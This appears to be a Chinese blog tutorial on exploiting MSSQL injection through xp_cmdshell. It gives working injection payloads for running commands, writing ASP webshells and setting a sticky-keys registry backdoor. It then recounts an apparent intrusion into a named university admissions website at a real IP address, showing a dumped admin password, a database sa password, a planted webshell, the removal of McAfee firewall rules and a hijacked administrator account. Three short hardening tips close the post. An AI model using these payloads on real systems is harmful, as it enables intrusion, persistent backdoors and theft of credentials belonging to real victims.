MSSQL注入xp_cmdshell

存储过程为数据库提供了强大的功能,其类似UDF,在MSSQL中xp_cmdshell可谓臭名昭著了。MSSQL强大的存储过程也为黑客提供了遍历,在相应的权限下,攻击者可以利用不同的存储过程执行不同的高级功能,如增加MSSQL数据库用户,枚举文件目录等等。而这些系统存储过程中要数xp_cmdshell最强大,通过该存储过程可以在数据库服务器中执行任意系统命令。MSSQL2005,2008等之后版本的MSSQL都分别对系统存储过程做了权限控制以防止被滥用。

EXEC master.dbo.xp_cmdshell 'ipconfig' 

xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure重修开启它。

EXEC sp_configure 'show advanced options',1//允许修改高级参数RECONFIGUREEXEC sp_configure 'xp_cmdshell',1  //打开xp_cmdshell扩展RECONFIGURE 

开启后执行语句

除了xp_cmdshell还有操作注册表的

xp_regaddmultistringxp_regdeletekey //删除键xp_regdeletevalue //删除值xp_regenumkeysxp_regenumvalues //返回多个值xp_regread //读取键值xp_regremovemultistringxp_regwrite //写入键值 控制服务的xp_servicecontrol等开启telnet服务execmaster..xp_servicecontrol 'start', 'tlntsvr' 

测试

/2.aspx id=999999.9+union+all+select+%28select+cast%28Char%28114%29%2bChar%2851%29%2bChar%28100%29%2bChar%28109%29%2bChar%2848%29%2bChar%28118%29%2bChar%2851%29%2bChar%2895%29%2bChar%28104%29%2bChar%28118%29%2bChar%28106%29%2bChar%2895%29%2bChar%28105%29%2bChar%28110%29%2bChar%28106%29%2bChar%28101%29%2bChar%2899%29%2bChar%28116%29%2bChar%28105%29%2bChar%28111%29%2bChar%28110%29+as+nvarchar%284000%29%29%29%2Cnull%2Cnull-- 

url解码

删除空格+,转换Asc,比较简单的语句就不注释了

id=999999.9+union+all+select+(select+cast(Char(114)+Char(51)+Char(100)+Char(109)+Char(48)+Char(118)+Char(51)+Char(95)+Char(104)+Char(118)+Char(106)+Char(95)+Char(105)+Char(110)+Char(106)+Char(101)+Char(99)+Char(116)+Char(105)+Char(111)+Char(110)+as+nvarchar(4000))),null,null-- 

cast字符类型转换

CAST ( expression AS data_type [ ( length ) ] )id=999999.9 union all select (select cast(r3dm0v3_hvi_iniectionas nvarchar(4000))),null,null—//相当于 select r3dm0v3_hvi_iniection,null,null-- /2.aspx id=999999.9+union+all+select+null,char(126)+char(39)+cast(db_name()+COLLATE+SQL_Latin1_General_Cp1254_CS_AS+as+nvarchar(4000))+char(39)+char(126),null-- 

获取当前数据库名字

/2.aspxid=999999.9+union+all+select+null,~'cast(db_name()COLLATE SQL_Latin1_General_Cp1254_CS_AS/*进行排序,并转换成nvarchar类型*/ as nvarchar(4000))'~,null-- 开启xp_cmdshell/2.aspxid=1;EXEC sp_configure 'show advancedoptions',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE-- 

OleAutomation Procedures

/2.aspx id=1;exec+sp_configure+'show+advanced+options',1;RECONFIGURE;exec+sp_configure+'Ole+Automation+Procedures',1;RECONFIGURE-- 

执行命令

1,创建一个包含两个字段tmp1,tmp2的r3dm0v3_sql表

/2.aspxid=1;+CREATE+TABLE+r3dm0v3_sql+(tmp1+varchar(8000),tmp2+varchar(8000))-- 

2,将执行结果存入tmp1表中

/2.aspxid=1;+insert+into+r3dm0v3_sql+(tmp1)+exec+master..xp_cmdshell+'net+user'— 

3,存储过程,将tmp1字段中所有不为空内容读取到tmp2字段中,并在前面加入~。

/2.aspxid=1;begindeclare @ret varchar(8000)set @ret=''select @ret=@ret '~' tmp1 from r3dm0v3_sqlwhere tmp1>@ret insert into r3dm0v3_sql(tmp2)select @retend-- 

4,从tmp2表中查询不为空的数据,Havij会在查询的数据前后加入~'数据内容'~,这也是他的一个特点。

/2.aspx id=999999.9+union+all+select+null,(select+top+1+char(126)+char(39)+cast(tmp2+as+varchar(8000))+COLLATE+SQL_Latin1_General_Cp1254_CS_AS+char(39)+char(126)+from+r3dm0v3_sql+where+tmp2<>''),null-- 

5,删除表

/2.aspx id=1%3B+drop+table+r3dm0v3_sql-- 

高级入侵

不过当用户已AUTHORITY\NetworkService登陆时时(mssql2005express版默认)无法执行net user命令添加用户的,不过默认安装的mssql2005企业版是以本地系统账户登陆的

当以本地用户登录的时候执行命令 

sp_makewebtask写入一句话 

如果未启用Web Assistant Procedures 

SQLServer 阻止了对组件 'WebAssistant Procedures' 的 过程'sys.xp_makewebtask' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。

开启

exec sp_configure 'Web AssistantProcedures', 1; RECONFIGURE 

写码

exec sp_makewebtask 'c:\1.asp','select''<%execute(request("ruo"))%>'''Microsoft SQL Server Web 助手

查询结果


上次更新时间: 2014-12-2511:36:23.560

n/a<%execute(request("ruo"))%>


 

一条语句写入文件到c:\1.asp

http://192.168.1.145/2.aspx?id=2;exec sp_configure0x730068006f007700200061006400760061006e0063006500640020006f007000740069006f006e007300/*showadvanced options*/, 1;reconfigure;exec sp_configure0x570065006200200041007300730069007300740061006e0074002000500072006f006300650064007500720065007300/*Web Assistant Procedures*/,1;reconfigure;declare @snvarchar(4000);select@s=0x730065006c00650063007400200027003c00250045007800650063007500740065002800720065007100750065007300740028002200720075006f0022002900290025003e000d000a002700/*select '<%Execute(request("ruo"))%> '*/;execsp_makewebtask 0x43003a005c0031002e00610073007000/*C:\1.asp*/, @s;-- 

如果存储过程xp_cmdshell被删除,重修加载,如果是xplog70.dll文件被删除了还是别想了吧

dbcc addextendedproc("sp_oacreate","odsole70.dll")dbcc addextendedproc("xp_cmdshell","xplog70.dll") 

如果模块不存在

消息17750,级别16,状态0,过程xp_makewebtask,第1 行无法加载DLL xpweb90.dll 或它引用的一个DLL。原因:126(找不到指定的模块。)。 

mssql2005 express版的缺少一些组件,写入文件时无法加载xpweb90.dll,拖入mssql2005企业版xpweb.dll无法加载,这个版本不知怎么写入文件。

以本地系统账户登陆

消息17750,级别16,状态0,过程xp_makewebtask,第1 行无法加载DLL xpweb90.dll 或它引用的一个DLL。原因:1114(动态链接库(DLL)初始化例程失败。)。 

网络账户NT AUTHORITY\NetworkService

消息17750,级别16,状态0,过程xp_makewebtask,第1 行无法加载DLL xpweb90.dll 或它引用的一个DLL。原因: 5(拒绝访问。)。 

注册表操作 

启用存储过程

exec sp_addextendedprocxp_regread,'xpstar.dll'http://192.168.1.145/2.aspx?id=2;exec master.dbo.sp_addextendedproc0x780070005f007200650067007200650061006400,0x7800700073007400610072002e0064006c006c00-- 

xp_regread à 16进制78 70 5F 72 65 67 72 65 61 64

读取键值计算机名

xp_regread 根键,子键,键值名

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\ComputerName\ComputerNameComputerName 

建表

http://192.168.1.145/2.aspx?id=2 ;createtable [pangolin_test_table]([a] nvarchar(4000) null);-- 

读取值并写入到表中

http://192.168.1.145/2.aspx?id=2;declare @s nvarchar(4000)exec master.dbo.xp_regread0x484b45595f4c4f43414c5f4d414348494e45/*表项HKEY_LOCAL_MACHINE*/,0x53595354454d5c436f6e74726f6c5365743030315c436f6e74726f6c5c436f6d70757465724e616d655c436f6d70757465724e616d65/*子项SYSTEM\ControlSet001\Control\ComputerName\ComputerName*/,0x436f6d70757465724e616d65/*健名ComputerName*/,@s outputinsert intopangolin_test_table (a)values(@s);-- 

查询

http://192.168.1.145/2.aspx?id=2 and(select top 1 a from pangolin_test_table)>0--http://192.168.1.145/2.aspx?id=2 ;droptable [pangolin_test_table];-- 

注:子项路径中有空格没法找到路径

写入注册表值

xp_regwrite 根键,子键, 值名, 值类型, 值

exec xp_regwrite

0x484b45595f4c4f43414c5f4d414348494e45/*HKEY_LOCAL_MACHINE*/,0x534f4654574152455c4d6963726f736f66745c57696e646f77735c43757272656e7456657273696f6e5c52756e/*SOFTWARE\Microsoft\Windows\CurrentVersion\Run */,0x74657374/*test*/,0x5245475f535a/*REG_SZ*/, 

'c:\2.exe' — /* mssql2005 express版我测试这里不能用十六进制的格式了,不然会出现错误执行xp_regwrite 扩展存储过程时出错: 注册表REG_(MULTI)_SZ 值不匹配*/

写入shift后门

exec xp_regwrite'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_SZ','c:\\windows\\system32\\taskmgr.exe' 

16进制编码

exec xp_regwrite0x484b45595f4c4f43414c5f4d414348494e45,0x534f4654574152455c4d6963726f736f66745c57696e646f7773204e545c43757272656e7456657273696f6e5c496d6167652046696c6520457865637574696f6e204f7074696f6e735c73657468632e657865,0x6465627567676572,0x5245475f535a, 

'c:\\windows\\system32\\taskmgr.exe'–


查看远程桌面开启

exec xp_regread'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\TerminalServer','fDenyTSConnections' 

开启远程桌面

exec xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\TerminalServer','fDenyTSConnections','REG_DWord',0 

入侵实例

西南明大招生就业网

http://222.210.17.165/selects.asp?Key=1

后台

http://222.210.17.165/admin/login.asp 

web server operating system: Windows 2003or XPweb application technology: ASP.NET,Microsoft IIS 6.0, ASPback-end DBMS: Microsoft SQL Server 2005 

Database: zsweb

[33 tables]

+---------------------------------------------------+| ArtWebStudent                                     || D99_CMD                                           || D99_REG                                           || D99_Tmp                                           || DIY_TEMPCOMMAND_TABLE                             || KS_AdminX(管理员表)                                         || KS_Cls                                            || KS_Down                                           || KS_GuestBook                                      || KS_Job                                            || KS_Mail                                           || KS_Member                                         || KS_News                                           || KS_P_Str                                          || KS_P_Text                                         || KS_Page                                           || KS_Person                                         || KS_Pro                                            || KS_VoteOption                                     || KS_VoteTopic                                      || LqHistory                                         || Plan                                              || Student                                           || WebBm                                             || area                                              || class                                             || comd_list                                         || dtproperties                                      || labeng                                            || major                                             || majorsubject                                      || province                                          || subject                                           |+---------------------------------------------------+ 

sqlmap.py -u"http://222.210.17.165/selects.asp?key=1" -D zsweb -T KS_AdminX –columns

Database: zsweb

Table: KS_AdminX

[7 columns]

+---------------+---------------+| Column        | Type          |+---------------+---------------+| AddTime       | smalldatetime || ID            | int           || LastLoginIP   | varchar       || LastLoginTime | smalldatetime || UserLoginName | varchar       || UserLoginPWD  | varchar       || UserRealName  | varchar       |+---------------+---------------+sqlmap.py -u"http://222.210.17.165/selects.asp?key=1" -D zsweb -T KS_AdminX –CUserLoginName, UserLoginPWD --dump 

Database: zsweb

Table: KS_AdminX

[1 entry]

+--------------+---------------+| UserLoginPWD | UserLoginName |+--------------+---------------+| 859911       | admin         |+--------------+---------------+ 

后台没发下可以利用的地方

sqlmap.py -u http://222.210.17.165/selects.asp?key=1--os-shell 

通过后台上传图片文件,再dir目录查看文件内容,确定D:\web\为网站目录

网站绝对路径

D:\web\ ewebeditor\uploadfile\20141226165819600.jpeghttp://222.210.17.165/ewebeditor/uploadfile/20141226165819600.jpeg 

d:\web 的目录

2014-11-08 09:26    

          .2014-11-08 09:26              ..2012-12-19 00:40             4,991 about.asp2009-04-20 03:37             4,013aboutTemp.asp2009-04-20 03:37            10,451 aboutW.asp2014-11-06 13:08              Admin2010-01-12 20:26             4,846ArtBkxz.asp2010-01-09 11:14             2,280artbmleft.asp2010-01-09 13:04               650artbmlogin.asp2010-01-09 13:46             9,382ArtBmPrint.asp2013-09-21 20:27              aspnet_client2009-04-10 11:21            11,036 bkgl.asp2010-01-09 21:44            12,507 BmOk.asp2009-04-07 18:31               419 boot.htm2009-03-15 16:49               424 close.html2010-01-04 14:39               149 conn.asp2009-04-20 03:48               952contact.asp2009-04-22 22:39             1,567 css.css2008-07-03 11:09             1,274 css1.css2013-09-21 20:27              DataBaseJKZY2014-07-29 00:38              ewebeditor2009-04-10 11:21            11,042 gkkx.asp2011-03-22 16:56             4,687gklqcxn.asp2010-01-07 13:34            14,807 head.asp2014-10-20 01:36              images2014-10-20 01:36              Include 

目录文件太多了省略一万字….

写入文件

Echo imruo >> d:\web\zhao\1.txt 不能写入asp,asa文件 aspx文件无法执行,没有注册.net

查看进程,发现McAfee安全软件

Tasklist

映像名称                       PID 会话名              会话#       内存使用========================= ======================== =========== ============System Idle Process              0 Console                    0         28 KSystem                           4 Console                    0        312 Ksmss.exe                       412 Console                    0        564 Kcsrss.exe                      468 Console                    0      6,896 Kwinlogon.exe                   492 Console                    0     43,556 Kservices.exe                   540 Console                    0     28,700 Klsass.exe                      552 Console                    0     37,548 Ksvchost.exe                    724 Console                    0     18,200 KFireSvc.exe                   // McAfeeDesktopFirewall防火墙服务进程inetinfo.exe                  1096 Console                    0     36,732 KFrameworkService.exe          1148 Console                    0      1,772 KVsTskMgr.exe                  // McAfeemfevtps.exe                   1320 Console                    0      5,808 Kmfeann.exe                    1340 Console                    0      3,640 KnaPrdMgr.exe                  // McAfeesqlservr.exe                  1544 Console                    0  1,178,252 Kmsmdsrv.exe                   1556 Console                    0     24,968 Ksvchost.exe                   1684 Console                    0     30,436 Kvmware-converter-a.exe        1752 Console                    0     44,052 Kvmware-converter.exe          1824 Console                    0     42,764 Kvmware-converter.exe          1912 Console                    0     47,268 Ksvchost.exe                   1948 Console                    0     18,148 Ksearchindexer.exe             1972 Console                    0      7,728 Kmcshield.exe                  // McAfee VirusScan 的一个核心进程mfefire.exe                   // mcafee网络安全程序msftesql.exe                  2184 Console                    0      4,564 Kwmiprvse.exe                  3580 Console                    0      5,660 Klogon.scr                    //屏保程序w3wp.exe                     2172Console                    0     30,708 Kdavcdata.exe                  // Microsoft HTTP-DAV commondata 

尝试写入cer,竟然可以执行,哈哈,上菜刀了

Echo "<%Execute(request("a"))%>">> d:\web\zhao\1.cer (备份D:\web\Admin\Images\1.cer)

数据库连接文件

D:\web\conn.asp<%'数据库连接Setwebconn=CreateObject("ADODB.Connection")webconn.Open "DRIVER={SQLServer};server=(local);uid=sa;pwd=000000;database=zsweb"%> 

服务器提权

开启3389导入shift后门

菜刀上传开启3389reg,xp_shell导入远程桌面仍然无法连接

Regedit /s d:\web\rdp.reg 

导出注册表

regedit /e d:\web\zhao\aaa.reg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer\Wds\rdpwd\Tds\tcp" 

主机装有McAfee Host Intrusion Prevention,本地测试下载到到的版本,发现目标用的是8.0的,然后考虑将配置文件下载下来覆盖本地的查看服务器hip规则,无意中发现某站提到mcafee hip配置文件在注册表中HKEY_LOCAL_MACHINE\SOFTWARE\McAfee\HIP,导出注册表覆盖本地发现3389访问限制了ip

既然通过注册表配置,那么我将远程ip地址修改后再导入注册表不就绕过了ip的限制了,想想连我都佩服我的机智。

Windows Registry Editor Version 5.00[HKEY_LOCAL_MACHINE\SOFTWARE\McAfee\HIP\Config\Firewall\AggrMatches\4\Matches]"0"="15,1,0,false,false,true,221.10.*.*,," 

不过测试还是无法连接,研究发现防火墙由两条注册表Matches,Rules决定,修改起来比较麻烦,还是将目标注册表规则删除,导入我们本地建立的吧。

reg delete HKLM\SOFTWARE\McAfee /fRegedit /s d:\web\zhao\hip.reg 


突破3389过滤后我们导入shift后门吧

Regedit /s d:\web\zhao\shift.reg 

登陆权限为system权限,直接打开用户管理修改administrator密码

现在我是管理员了,想干什么就干什么了,呵呵呵。

如何防范?

1,删除存储过程execsp_dropextendedproc ‘xp_cmdshell’,最好删除xplog70.dll等文件2,网站数据库不要使用sa账户,对服务运行权限设定为普通账户3,安装相关安全软件 

你可能感兴趣的:(MSSQL注入xp_cmdshell)